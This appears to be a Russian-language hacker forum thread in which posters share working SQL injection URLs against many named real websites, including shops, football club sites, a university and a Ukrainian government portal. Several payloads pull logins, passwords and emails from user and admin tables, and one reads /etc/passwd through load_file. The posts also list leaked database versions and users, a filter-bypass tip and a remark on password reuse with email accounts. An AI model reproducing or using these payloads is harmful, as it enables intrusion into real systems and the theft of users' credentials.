SQL-инъекции

Код:

http://www.glstar.ru/?nid=-1+union+select+1111,2222,3333,4444/*

 

Код:

http://bestposters.ru/main.php?cat=-70+union+select+1,2,concat(login,0x3a,password,0x3a,email),4,5+from+users+limit+1/*

Шоп по продаже постеров.
P.S: работаем через лимит )

 

Код:

http://www.book.ru/?inf=-1+union+select+0/*

Добавлено через 17 часов 21 минуту

Код:

http://voodoo.ru/sites/?id=-157+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11/*

ВНИМАНИЕ! здесь идет фильтр union select в нижнем регистре! юзаем тока ап!

 

Код:

http://www.farukbeser.com/tr/makale.asp?islem=oku&id=-1+union+select+0,1,id,baslik,4,5,6+from+haber

 

Код:

http://my3.ru/biography.htm?id=-1+union+select+0,1,2,3,4,5,6,7,8/*

смарел биографию продиджи и заодно нашел багу...

Добавлено через 21 час 55 минут

Код:

http://www.dfm106.ru/news/?id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13/*

 

Код:

http://www.osvita.org.ua/_engine_v1/news/?lang=ru&from=news_export_meta&news_id=99999+union+select+0,1,2,3,4,5,6,7,8,9/*

 

Код:

http://www.torpedo.ru/gb/comments.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+news/*

 

решил пройтись по фк факел - клубу моего бывшего города:

офсайт

Код:

http://www.fc-fakel.ru/index.php?p=1&n=-1+union+select+0,1,2,3,4,5,6,7,8/*

фансайт

Код:

http://www.fakelfc.ru/index.php?p=1&n=-1+union+select+0,1,2,3,4,5,6,7,8/*

 

Ещё один футбольный клуб
На этот раз ФК Химки)))

Код:

http://fckhimki.ru/modules/news/index.php?current_id=999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

Версия 4.0.27-max-log
user:fckhimki_new1@v2.valuehost.ru

 

Код:

http://www.tehnocentr.ru/?section=news&action=show&id=-1+union+select+0,aes_decrypt(aes_encrypt(version(),0x71),0x71)/*

 

Код:

http://www.fc-fakel.ru/index.php?p=1&n=-1+union+select+0,concat_ws(CHAR(58,58),id,nick,pass,email),2,3,4,5,6,7,8+from+cl_users+limit+12,1/*

добил скуль по футболу...что сказать-очень часто здесь пароли от акка совпадают с пассом от мыла...

Код:

http://www.fc-fakel.ru/index.php?p=1&n=-1+union+select+0,concat_ws(CHAR(58,58),id,nick,pass,email),2,3,4,5,6,7,8+from+cl_users+limit+14,1/*

у товарища совпадает код с инет акком...

 

Код:

http://www.llatalent.com/current/index.php?current_id=999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

версия: 4.0.27-standard
user:dbm.llatalent.com@web189.megawebservers.com

 

Код:

http://www.pitermag.ru/labels.php?do=ViewBrand&id=-1+union+select+0,1,2,3,4,5,6/*

Добавлено через 10 минут

Код:

http://kupilka.tv/?product=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11/*

Добавлено через 2 часа 4 минуты

Код:

http://www.tvermed.ru/?sid=1&pid=2&id=-1+union+select+0,1,2,concat_ws(char(32,58,58,32),id,name,login,password),4+from+officials+limit+0,1/*

 

Код:

http://www.tspu.edu.ru/index1.php?ur=148&ur1=147&fak=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*

Добавлено через 12 минут

Код:

http://www.m-logos.ru/seminars/info.phtml?&type=pr&id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*

 

Код:

http://intercar.com.ua/index.php?id=-19+UNION+SELECT+1,2,version(),USER(),5,6/*

Код:

http://www.jetphotos.net/viewphoto.php?id=-6089343+UNION+SELECT+1,2,3,4,5,6,7,USER(),version(  ),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,  26,27,28/*

 

K1nD[e]R,

Код:

http://www.jetphotos.net/viewphoto.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(char(32,58,32),id,login_name,password,email,ip),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+user_table+where+id=1/*

 

Код:

http://volkswagen-ukraine.com.ua/index.php?id=-20+union+select+1,2,user(),version(),5,6/*

Код:

http://www.ia-centr.ru/theme_details.php?id=-495+union+select+1,user(),version(),load_file(0x2F6574632F706173737764),5,6,7/*

Код:

http://www.vaal.ru/show.php?id=-170+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9,10,11/*

4.0.27-max-log:vaal119:vaal119@v15.valuehost.ru
Таблицы не смог подобрать

 

K1nD[e]R,

Код:

http://www.ia-centr.ru/theme_details.php?id=-495+union+select+1,2,3,concat_ws(char(58),id,login,password,name,email),5,6,7+from+ciscenter_admins+limit+0,1/*

Добавлено через 6 часов 58 минут

Код:

http://www.clubopera.ru/afisha/archive_news.php?id=9999+union+select+aes_decrypt(aes_encrypt(user(),0x78),0x78)/*

здесь выводимое поле отображается черным цветом-не смущайтесь и выделяйте его или сморим в хтмл сорц.

 

Код:

http://www.zt-rada.gov.ua/ukrainian/news.php?newsid=-1+union+select+0,1,concat_ws(char(58),user_id,user_name,user_login,user_password),3,4,5,6,7+from+users+limit+0,1/*

 

Код:

http://www.psychasoc.com/print_news.php?ID=-1+union+select+version(),2,3,4,user()/*

4.0.27-log/psychasoc@192.168.3.5/psychasoc
таблицы admin
news
phorum_users
users
колонки login
password

Код:

http://www.vineargenti.com/eng/print_news.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9/*

user: oc/o@/giul - 5
version: ta/3-/4.1. - 5

Добавлено через 23 часа 46 минут

Код:

http://speleogenesis.info/pubalert/show_details.php?PubID=-1+union+select+1,user(),version(),4,5,6,7,8,9,10,11/*

4.0.25-standard
speleo3_datauser@localhost